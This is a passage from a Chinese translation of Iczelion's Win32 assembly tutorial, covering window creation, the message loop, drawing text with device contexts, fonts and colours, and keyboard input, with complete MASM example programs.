  • dwExStyle：附加的窗口风格。相对于旧的CreateWindow这是一个新的参数。在9X/NT中您可以使用新的窗口风格。您可以在Style中指定一般的窗口风格，但是一些特殊的窗口风格，如顶层窗口则必须在此参数中指定。如果您不想指定任何特别的风格，则把此参数设为NULL。
  • lpClassName：（必须）。ASCIIZ形式的窗口类名称的地址。可以是您自定义的类，也可以是预定义的类名。像上面所说，每一个应用程序必须有一个窗口类。
  • lpWindowName：ASCIIZ形式的窗口名称的地址。该名称会显示在标题条上。如果该参数空白，则标题条上什么都没有。
  • dwStyle：窗口的风格。在此您可以指定窗口的外观。可以指定该参数为零，但那样该窗口就没有系统菜单，也没有最大化和最小化按钮，也没有关闭按钮，那样您不得不按Alt+F4 来关闭它。最为普遍的窗口类风格是 WS_OVERLAPPEDWINDOW。 一种窗口风格是一种按位的掩码，这样您可以用“or”把您希望的窗口风格或起来。像 WS_OVERLAPPEDWINDOW 就是由几种最为不便普遍的风格或起来的。
  • X，Y： 指定窗口左上角的以像素为单位的屏幕坐标位置。缺省地可指定为 CW_USEDEFAULT，这样 Windows 会自动为窗口指定最合适的位置。
  • nWidth， nHeight： 以像素为单位的窗口大小。缺省地可指定为 CW_USEDEFAULT，这样 Windows 会自动为窗口指定最合适的大小。
  • hWndParent： 父窗口的句柄（如果有的话）。这个参数告诉 Windows 这是一个子窗口和他的父窗口是谁。这和 MDI（多文档结构）不同，此处的子窗口并不会局限在父窗口的客户区内。他只是用来告诉 Windows 各个窗口之间的父子关系，以便在父窗口销毁是一同把其子窗口销毁。在我们的例子程序中因为只有一个窗口，故把该参数设为 NULL。
  • hMenu： WINDOWS菜单的句柄。如果只用系统菜单则指定该参数为NULL。回头看一看WNDCLASSEX 结构中的 lpszMenuName 参数，它也指定一个菜单，这是一个缺省菜单，任何从该窗口类派生的窗口若想用其他的菜单需在该参数中重新指定。其实该参数有双重意义：一方面若这是一个自定义窗口时该参数代表菜单句柄，另一方面，若这是一个预定义窗口时，该参数代表是该窗口的 ID 号。Windows 是根据lpClassName 参数来区分是自定义窗口还是预定义窗口的。
  • hInstance： 产生该窗口的应用程序的实例句柄。
  • lpParam： （可选）指向欲传给窗口的结构体数据类型参数的指针。如在MDI中在产生窗口时传递 CLIENTCREATESTRUCT 结构的参数。一般情况下，该值总为零，这表示没有参数传递给窗口。可以通过GetWindowLong 函数检索该值。

mov hwnd，eax
invoke ShowWindow， hwnd，CmdShow
invoke UpdateWindow， hwnd

调用CreateWindowEx成功后，窗口句柄在eax中。我们必须保存该值以备后用。我们刚刚产生的窗口不会自动显示，所以必须调用 ShowWindow 来按照我们希望的方式来显示该窗口。接下来调用 UpdateWindow 来更新客户区。

.WHILE TRUE
invoke GetMessage， ADDR msg，NULL，0，0
.BREAK .IF (!eax)
invoke TranslateMessage， ADDR msg
invoke DispatchMessage， ADDR msg
.ENDW

这时候我们的窗口已显示在屏幕上了。但是它还不能从外界接收消息。所以我们必须给它提供相关的消息。我们是通过一个消息循环来完成该项工作的。每一个模块仅有一个消息循环，我们不断地调用 GetMessage 从 Windows 中获得消息。GetMessage 传递一个 MSG 结构体给 Windows ，然后 Windows 在该函数中填充有关的消息，一直到 Windows 找到并填充好消息后 GetMessage 才会返回。在这段时间内系统控制权可能会转移给其他的应用程序。这样就构成了Win16 下的多任务结构。如果 GetMessage 接收到 WM_QUIT 消息后就会返回 FALSE，使循环结束并退出应用程序。TranslateMessage 函数是一个是实用函数，它从键盘接受原始按键消息，然后解释成 WM_CHAR，在把 WM_CHAR 放入消息队列，由于经过解释后的消息中含有按键的 ASCII 码，这比原始的扫描码好理解得多。如果您的应用程序不处理按键消息的话，可以不调用该函数。DispatchMessage 会把消息发送给负责该窗口过程的函数。

mov eax，msg.wParam
ret
WinMain endp

如果消息循环结束了，退出码存放在 MSG 中的 wParam中，您可以通过把它放到 eax 寄存器中传给 Windows目前 Windows 没有利用到这个结束码，但我们最好还是遵从 Windows 规范已防意外。

WndProc proc hWnd：HWND， uMsg：UINT， wParam：WPARAM， lParam：LPARAM

是我们的窗口处理函数。您可以随便给该函数命名。其中第一个参数 hWnd 是接收消息的窗口的句柄。uMsg 是接收的消息。注意 uMsg 不是一个 MSG 结构，其实上只是一个 DWORD 类型数。Windows 定义了成百上千个消息，大多数您的应用程序不会处理到。当有该窗口的消息发生时，Windows 会发送一个相关消息给该窗口。其窗口过程处理函数会智能的处理这些消息。wParam 和 lParam 只是附加参数，以方便传递更多的和该消息有关的数据。

.IF uMsg==WM_DESTROY
invoke PostQuitMessage，NULL
.ELSE
invoke DefWindowProc，hWnd，uMsg，wParam，lParam
ret
.ENDIF
xor eax，eax
ret
WndProc endp

上面可以说是关键部分。这也是我们写 Windows 程序时需要改写的主要部分。此处您的程序检查 Windows 传递过来的消息，如果是我们感兴趣的消息则加以处理，处理完后，在 eax 寄存器中传递 0，否则必须调用 DefWindowProc，把该窗口过程接收到的参数传递给缺省的窗口处理函数。所有消息中您必须处理的是 WM_DESTROY，当您的应用程序结束时 Windows 把这个消息传递进来，当您的应用程序解说到该消息时它已经在屏幕上消失了，这仅是通知您的应用程序窗口已销毁，您必须自己准备返回 Windows 。在此消息中您可以做一些清理工作，但无法阻止退出应用程序。如果您要那样做的话，可以处理 WM_CLOSE 消息。在处理完清理工作后，您必须调用 PostQuitMessage，该函数会把 WM_QUIT 消息传回您的应用程序，而该消息会使得 GetMessage 返回，并在 eax 寄存器中放入 0，然后会结束消息循环并退回 WINDOWS。您可以在您的程序中调用 DestroyWindow 函数，它会发送一个 WM_DESTROY 消息给您自己的应用程序，从而迫使它退出。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion 的 Win32asm 教程

第四课 绘制文本

本课中，我们将学习如何在窗口的客户区“绘制”字符串。我们还将学习关于“设备环境”的概念。

理论：

Windows 中的文本是一个GUI（图形用户界面）对象。每一个字符实际上是由许多的像素点组成，这些点在有笔画的地方显示出来，这样就会出现字符。这也是为什么我说“绘制”字符，而不是写字符。通常您都是在您应用程序的客户区“绘制”字符串（尽管您也可以在客户区外“绘制”）。Windows 下的“绘制”字符串方法和 Dos 下的截然不同，在 Dos 下，您可以把屏幕想象成 85 x 25 的一个平面，而 Windows 下由于屏幕上同时有几个应用程序的画面，所以您必须严格遵从规范。Windows 通过把每一个应用程序限制在他的客户区来做到这一点。当然客户区的大小是可变的，您随时可以调整。

在您在客户区“绘制”字符串前，您必须从 Windows 那里得到您客户区的大小，确实您无法像在 DOS 下那样随心所欲地在屏幕上任何地方“绘制”，绘制前您必须得到 Windows 的允许，然后 Windows 会告诉您客户区的大小，字体，颜色和其它 GUI 对象的属性。您可以用这些来在客户区“绘制”。

什么是“设备环境”（DC）呢？ 它其实是由 Windows 内部维护的一个数据结构。一个“设备环境”和一个特定的设备相连。像打印机和显示器。对于显示器来说，“设备环境”和一个个特定的窗口相连。

“设备环境”中的有些属性和绘图有关，像：颜色，字体等。您可以随时改动那些缺省值，之所以保存缺省值是为了方便。您可以把“设备环境”想象成是Windows 为您准备的一个绘图环境，而您可以随时根据需要改变某些缺省属性。

当应用程序需要绘制时，您必须得到一个“设备环境”的句柄。通常有几种方法。

  • 在 WM_PAINT 消息中使用 call BeginPaint
  • 在其他消息中使用 call GetDC
  • call CreateDC 建立你自己的 DC

您必须牢记的是，在处理单个消息后你必须释放“设备环境”句柄。不要在一个消息处理中获得 “设备环境”句柄，而在另一个消息处理中在释放它。

我们在Windows 发送 WM_PAINT 消息时处理绘制客户区，Windows 不会保存客户区的内容，它用的是方法是“重绘”机制（譬如当客户区刚被另一个应用程序的客户区覆盖），Windows 会把 WM_PAINT 消息放入该应用程序的消息队列。重绘窗口的客户区是各个窗口自己的责任，您要做的是在窗口过程处理 WM_PAINT 的部分知道绘制什么和何如绘制。

您必须了解的另一个概念是“无效区域”。Windows 把一个最小的需要重绘的正方形区域叫做“无效区域”。当 Windows 发现了一个”无效区域“后，它就会向该应用程序发送一个 WM_PAINT 消息，在 WM_PAINT 的处理过程中，窗口首先得到一个有关绘图的结构体，里面包括无效区的坐标位置等。您可以通过调用BeginPaint 让“无效区”有效，如果您不处理 WM_PAINT 消息，至少要调用缺省的窗口处理函数 DefWindowProc ，或者调用 ValidateRect 让“无效区”有效。否则您的应用程序将会收到无穷无尽的 WM_PAINT 消息。

下面是响应该消息的步骤：

  1. 取得“设备环境”句柄
  2. 绘制客户区
  3. 释放“设备环境”句柄

注意，您无须显式地让“无效区”有效，这个动作由 BeginPaint 自动完成。您可以在 BeginPaint 和 Endpaint 之间，调用所有的绘制函数。几乎所有的GDI 函数都需要“设备环境”的句柄作为参数。

内容：

我们将写一个应用程序，它会在客户区的中心显示一行 "Win32 assembly is great and easy!"

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
OurText db "Win32 assembly is great and easy!",0

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.CODE
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
end start

分析：

这里的大多数代码和第三课中的一样。我只解释其中一些不相同的地方。

LOCAL hdc：HDC
LOCAL ps：PAINTSTRUCT
LOCAL rect：RECT

这些局部变量由处理 WM_PAINT 消息中的 GDI 函数调用。hdc 用来存放调用 BeginPaint 返回的“设备环境”句柄。ps 是一个 PAINTSTRUCT 数据类型的变量。通常您不会用到其中的许多值，它由 Windows 传递给 BeginPaint，在结束绘制后再原封不动的传递给 EndPaint。rect 是一个 RECT 结构体类型参数，它的定义如下：

RECT Struct left LONG ?
top LONG ?
right LONG ?
bottom LONG ?
RECT ends

left 和 top 是正方形左上角的坐标。right 和 bottom 是正方形右下角的坐标。客户区的左上角的坐标是 x=0，y=0，这样对于 x=0，y=10 的坐标点就在它的下面。

invoke BeginPaint，hWnd， ADDR ps
mov hdc，eax
invoke GetClientRect，hWnd， ADDR rect
invoke DrawText， hdc，ADDR OurText，-1， ADDR rect， \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint，hWnd， ADDR ps

在处理 WM_PAINT 消息时，您调用BeginPaint函数，传给它一个窗口句柄和未初始化的 PAINTSTRUCT 型参数。调用成功后在 eax 中返回“设备环境”的句柄。下一次，调用 GetClientRect 以得到客户区的大小，大小放在 rect 中，然后把它传给 DrawText。DrawText 的语法如下：

DrawText proto hdc：HDC， lpString：DWORD， nCount：DWORD， lpRect：DWORD， uFormat：DWORD

DrawText是一个高层的调用函数。它能自动处理像换行、把文本放到客户区中间等这些杂事。所以您只管集中精力“绘制”字符串就可以了。我们会在下一课中讲解低一层的函数 TextOut，该函数在一个正方形区域中格式化一个文本串。它用当前选择的字体、颜色和背景色。它处理换行以适应正方形区域。它会返回以设备逻辑单位度量的文本的高度，我们这里的度量单位是像素点。让我们来看一看该函数的参数：

  • hdc： “设备环境”的句柄。
  • lpString：要显示的文本串，该文本串要么以NULL结尾，要么在nCount中指出它的长短。
  • nCount：要输出的文本的长度。若以NULL结尾，该参数必须是-1。
  • lpRect： 指向要输出文本串的正方形区域的指针，该方形必须是一个裁剪区，也就是说超过该区域的字符将不能显示。
  • uFormat：指定如何显示。我们可以用 or 把以下标志或到一块：
    • DT_SINGLELINE：是否单行显示。
    • DT_CENTER：是否水平居中。
    • DT_VCENTER ：是否垂直居中。

结束绘制后，必须调用 EndPaint 释放“设备环境”的句柄。 好了，现在我们把“绘制”文本串的要点总结如下：

  1. 必须在开始和结束处分别调用 BeginPaint 和 EndPaint；
  2. 在 BeginPaint 和 EndPaint 之间调用所有的绘制函数；
  3. 如果在其它的消息处理中重新绘制客户区，您可以有两种选择：
    （1）用GetDC和ReleaseDC代替BeginPaint和EndPaint；
    （2）调用InvalidateRect或UpdateWindow让客户区无效，这将迫使WINDOWS把WM_PAINT放入应用程序消息队列，从而使得客户区重绘。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion 的 Win32asm 教程

第五课 学习更多关于“绘制”文本串的知识

我们将做更多的实践去了解有关文本的诸多属性如字体和颜色等。

理论：

Windows 的颜色系统是用RGB值来表示的，R 代表红色，G 代表绿色，B 代表兰色。如果您想指定一种颜色就必须给该颜色赋相关的 RGB 值，RGB 的取值范围都是从 0 到 255，譬如您想要得到纯红色，就必须对RGB赋值（255，0，0），纯白色是 （255，255，255）。从我们下面的例子中您可以看出来要想运用好这套基于数字的颜色系统并不容易，这要求您必须对混色和颜色匹配有良好的感觉。

您可以用函数 SetTextColor 和 SetBkColor 来“绘制”背景色和字符颜色，但是必须传递一个“设备环境”的句柄和 RGB 值作为参数。RGB 的结构体的定义如下：

RGB_value struct
unused db 0
blue db ?
green db ?
red db ?
RGB_value ends

其中第一字节为 0 而且始终为 0，其它三个字节分别表示兰色、绿色和红色，刚好和 RGB 的次序相反。这个结构体用起来挺别扭，所以我们重新定义一个宏用它来代替。该宏接收红绿蓝三个参数，并在 eax 寄存器中返回 32 位的 RGB 值，宏的定义如下：

RGB macro red，green，blue
xor eax，eax
mov ah，blue
shl eax，8
mov ah，green
mov al，red
endm

您可以把该宏放到头文件中以方便使用。

您可以调用 CreateFont 和 CreateFontIndirect 来创建自己的字体，这两个函数的差别是前者要求 您传递一系列的参数，而后着只要传递一个指向 LOGFONT 结构的指针。这样就使得后者使用起来更方便，尤其当您需要频繁创建字体时。在我们的例子中由于只要创建一种字体，故用 CreateFont 就足够了。在调用该函数后会返回所创建的字体的句柄，然后把该句柄选进“设备环境”使其成为当前字体，随后所有的“绘制”文本串的函数在被调用时都要把该句柄作为一个参数传递

例子：

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
TestString db "Win32 assembly is great and easy!",0
FontName db "script",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL hfont:HFONT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke CreateFont,24,16,0,0,400,0,0,0,OEM_CHARSET,\
OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,\
DEFAULT_QUALITY,DEFAULT_PITCH or FF_SCRIPT,\
ADDR FontName
invoke SelectObject, hdc, eax
mov hfont,eax
RGB 200,200,50
invoke SetTextColor,hdc,eax
RGB 0,0,255
invoke SetBkColor,hdc,eax
invoke TextOut,hdc,0,0,ADDR TestString,SIZEOF TestString
invoke SelectObject,hdc, hfont
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

end start

分析：

CreateFont 函数产生一种逻辑字体，它尽可能地接近参数中指定的各相关值。这个函数大概是所有 Windows API函数中所带参数最多的一个。它返回一个指向逻辑字体的句柄供调用 SelectObject 函数使用。下面我们详细讲解该函数的参数：

CreateFont proto \
nHeight：DWORD，\
nWidth：DWORD，\
nEscapement：DWORD，\
nOrientation：DWORD，\
nWeight：DWORD，\
cItalic：DWORD，\
cUnderline：DWORD，\
cStrikeOut：DWORD，\
cCharSet：DWORD，\
cOutputPrecision：DWORD，\
cClipPrecision：DWORD，\
cQuality：DWORD，\
cPitchAndFamily：DWORD，\
lpFacename：DWORD

nHeight： 希望使用的字体的高度，0为缺省。
nWidth： 希望使用的字体的宽度，一般情况下最好用0， 这样 Windows 将会自动为您选择一个和高度匹配的值。因为在我们的例子中那样做的话会使得字符因太小而无法显示，所以 我 们设定它为16。
nEscapement： 每一个字符相对前一个字符的旋转角度，一般设成0。900代表转90度，1800转190度，2700转270度。
nOrientation： 字体的方向。
nWeight： 字体笔画的粗细。

Windows 为我们预定义了如下值：

FW_DONTCARE 等于 0
FW_THIN 等于 100
FW_EXTRALIGHT 等于 200
FW_ULTRALIGHT 等于 200
FW_LIGHT 等于 300
FW_NORMAL 等于 400
FW_REGULAR 等于 400
FW_MEDIUM 等于 500
FW_SEMIBOLD 等于 600
FW_DEMIBOLD 等于 600
FW_BOLD 等于 700
FW_EXTRABOLD 等于 800
FW_ULTRABOLD 等于 800
FW_HEAVY 等于 900
FW_BLACK 等于 900

cItalic： 0为正常，其它值为斜体。
cUnderline： 0为正常，其它值为有下划线。
cStrikeOut： 0为正常，其它值为删除线。
cCharSet： 字体的字符集。一般选择OEM_CHARSET，它使得 Windows 会选用和操作系统相关的字符集。
cOutputPrecision： 指定我们选择的字体接近真实字体的精度。 一般选用OUT_DEFAULT_PRECIS，它决定了缺省的映射方式。
cClipPrecision： 指定我们选择的字体在超出裁剪区域时的裁剪精度。 一般选用CLIP_DEFAULT_PRECIS，它决定了裁剪精度。
cQuality： 指定输出字体的质量。它指出GDI应如何尽可能的接近真实 字体，一共有三种方式：DEFAULT_QUALITY， PROOF_QUALITY 和DRAFT_QUALITY。
cPitchAndFamily：字型和字体家族。
lpFacename： 指定字体的名称。

上面的描述不一定好理解，您如果要的到更多的信息，应参考 WIN32 API 指南。

invoke SelectObject， hdc， eax
mov hfont，eax

在我们得到了指向逻辑字体的句柄后必须调用 SelectObject 函数把它选择进“设备环境”，我们还可以调用该函数把诸如此类的像颜色、笔、画刷 等GDI对象选进“设备环境”。该函数会返回一个旧的“设备环境”的句柄。您必须保存该句柄，以便在完成“绘制”工作后再把它选回。在调用 SelectObject 函数后一切的绘制函数都是针对该“设备环境”的。

RGB 200，200，50
invoke SetTextColor，hdc，eax
RGB 0，0，255
invoke SetBkColor，hdc，eax

我们用宏 RGB 产生颜色，然后分别调用 SetTextColor 和 SetBkColor。

invoke TextOut，hdc，0，0，ADDR TestString，SIZEOF TestString

我们调用 TextOut 在客户区用我们前面选定的字体和颜色“绘制”文本串。

invoke SelectObject，hdc， hfont

在我们“绘制”完成后，必须恢复“设备环境”。我们必须每一次都这么做。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion 的 Win32asm 教程

第六课 处理键盘输入消息

在本课中，我们将要学习WINDOWS程序是如何处理键盘消息的。

理论：

因为大多数的PC只有一个键盘，所以所有运行中的WINDOWS程序必须共用它。WINDOWS 将负责把击键消息送到具有输入焦点的那个应用程序中去。尽管屏幕上可能同时有几个应用程序窗口，但一个时刻仅有一个窗口有输入焦点。有输入焦点的那个应用程序的标题条总是高亮度显示的。 实际上您可以从两个角度来看键盘消息：一是您可以把它看成是一大堆的按键消息的集合，在这种情况下，当您按下一个键时，WINDOWS就会发送一个WM_KEYDOWN给有输入焦点的那个应用程序，提醒它有一个键被按下。当您释放键时，WINDOWS又会发送一个WM_KYEUP消息，告诉有一个键被释放。您把每一个键当成是一个按钮；另一种情况是：您可以把键盘看成是字符输入设备。当您按下“a”键时，WINDOWS发送一个WM_CHAR消息给有输入焦点的应用程序，告诉它“a”键被按下。实际上WINDOWS 内部发送WM_KEYDOWN和WWM_KEYUP消息给有输入焦点的应用程序，而这些消息将通过调用TranslateMessage翻译成WM_CHAR消息。WINDOWS窗口过程函数将决定是否处理所收到的消息，一般说来您不大会去处理WM_KEYDOWN、WM_KEYUP消息，在消息循环中TranslateMessage函数会把上述消息转换成WM_CHAR消息。在我们的课程中将只处理WM_CHAR。

例子：

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
char WPARAM 20h ; the character the program receives from keyboard

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CHAR
push wParam
pop char
invoke InvalidateRect, hWnd,NULL,TRUE
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke TextOut,hdc,0,0,ADDR char,1
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

分析：

char WPARAM 20h ; the character the program receives from keyboard

这个变量将保存从键盘接收到的字符。因为它是在窗口过程中通过WPARAM型变量传送的，所以我们简单地把它定义为WPARAM型。由于我们的窗口在初次刷新时(也即刚被创建的那一次)是没有键盘输入的所以我们把他设成空格符（20h），这样显示时您就什么都看不见。

.ELSEIF uMsg==WM_CHAR
push wParam
pop char
invoke InvalidateRect, hWnd,NULL,TRUE

这一段是用来处理WM_CHAR消息的。它把接收到的字符放入变量char中，接着调用InvalidateRect，而InvalidateRect使得窗口的客户区无效，这样它会发出WM_PAINT消息，而WM_PAINT消息迫使WINDOWS重新绘制它的客户区。该函数的语法如下：

InvalidateRect proto hWnd:HWND,\
lpRect:DWORD,\
bErase:DWORD

lpRect是指向客户区我们想要其无效的一个正方形结构体的指针。如果该值等于NULL，则整个客户区都无效；布尔值bErase告诉WINDOWS是否擦除背景，如果是TRUE，则WINDOWS在调用BeginPaint函数时把背景擦掉。 所以我们此处的做法是：我们将保存所有有关重绘客户区的数据，然后发送WM_PAINT消息，处理该消息的程序段然后根据相关数据重新绘制客户区。尽管这么做事有点像走了弓背，但WINDOWS要处理那么庞大的消息群，没有一定的规矩可不行。 实际上我们完全可以通过调用GetDC 获得设备上下文句柄，然后绘制字符，然后再调用ReleaseDC释放设备上下文句柄，毫无疑问这样也能在客户区绘制出正确的字符。但是如果这之后接收到WM_PAINT消息要处理时，客户区会重新刷新，而我们这稍前所绘制的字符就会消失掉。所以为了让字符一直正确地显示，就必须把它们放到WM_PAINT的处理过程中处理。而在本消息处理中发送WM_PAINT消息即可。

invoke TextOut,hdc,0,0,ADDR char,1

在调用InvalidateRect时，WM_PAINT消息被发送到了WINDOWS窗口处理过程，程序流程转移到处理WM_PAINT消息的程序段，然后调用BeginPaint得到设备上下文的句柄，再调用TextOut在客户区的（0，0）处输出保存的按键字符。这样无论您按什么键都能在客户区的左上角显示，不仅如此，无论您怎么缩放窗口（迫使WINDOWS重新绘制它的客户区），字符都会在正确的地方显示，所以必须把所有重要的绘制动作都放到处理WM_PAINT消息的程序段中去。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion's win32 asm tutorial

第七课 处理鼠标输入消息

本课中我们将学习如何在我们的窗口过程函数中处理鼠标按键消息。示例程序演示了如何等待左键按下消息，我们将在按下的位置显示一个字符串。

理论：

